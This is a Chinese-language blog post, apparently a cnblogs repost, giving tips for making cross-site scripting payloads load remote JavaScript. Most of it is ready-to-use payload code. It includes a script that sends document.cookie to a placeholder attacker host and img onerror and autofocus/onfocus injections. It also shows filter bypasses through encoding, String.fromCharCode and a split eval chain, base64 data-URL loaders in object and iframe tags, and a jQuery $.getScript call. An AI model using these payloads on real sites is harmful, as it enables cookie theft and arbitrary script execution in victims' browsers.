• xss如何加载远程js的一些tips


    在早期 , 对于xss我们是这样利用的

    <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script>

    将 cookie之类的数据传递到自己的服务端
    但是 如果要更为复杂的攻击的话,由于字符串长度等限制 需要加载远程js来实现。

    一个简单的例子

    <script src=http://xxx.xxx/a.js></script>

    这样更为简洁

    <script src=//xxx.xxx/a.js></script>

    src属性会自己取当前页面的协议。
    过滤了 <>的话 有时候可以用 %bf u003cu 等来绕过。

    对于可以执行js的属性,我们可以控制其内容的话,可以基于DOM的方法创建和插入节点调用js

    <img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>

    不要忘记 autofocus无须交互即可执行js。

    <input autofocus="" onfocus="........" />

    过滤了 script ‘ create 等关键字的话。 各种编码绕过即可。 你可以看下jin的这篇文章

    http://drops.wooyun.org/tips/689

    或者用String.fromCharCode 函数转换成 asc码
    但是string.fromcharcode 太长了,在同一个页面,可控多个输出的时候, 可以对全局变量 进行多次赋值
    一个经典的例子

    <script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><script>z=z+' src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)</script>

    我们也可以用data url 来加载。

    <object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></object><iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></iframe>

    PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4= 是

    <script src=http://xxx.xxx/a.js></script>

    的base64值。
    支持data url 的标签还有

    <anchor><img> <a>(需点击) <meta>.....

    需注意的是

    <img>

    里的 data url 是不允许执行js的。
    还有, ie8 以下浏览器是不支持 data url的。IE8 data URL 最大长度限制为32k字节,超出无效。IE9+没有这个限制 ie不支持对

    <frame>

    标签的src设置data URL

    有时候 我们可以直接调用javascript框架的函数 来实现一些功能。
    比如, 支持 jquery的话(通过查看源代码,你可以看出是否支持)
    我们直接这样调用就可以了

    $.getScript("//xxx.xxx/a.js");

    实践出真理!

  • 相关阅读:
    javascript调用applet
    mysql“Access denied for user 'root'@'localhost'”问题的解决
    VS2010 加载Dll文件
    预处理符号
    什么是lib文件,lib和dll的关系如何[转]
    git常用命令
    VC项目配置基础[转]
    [转]Linux ftp命令的使用方法
    [转]JavaScript创建Applet 标签的属性介绍 以及 Applet调用JavaScript
    When you publish a workflow in Microsoft Dynamics CRM 4.0 after you install Update Rollup 2, you receive Error message
  • 原文地址:https://www.cnblogs.com/hookjoy/p/3534494.html
Copyright © 2020-2023  润新知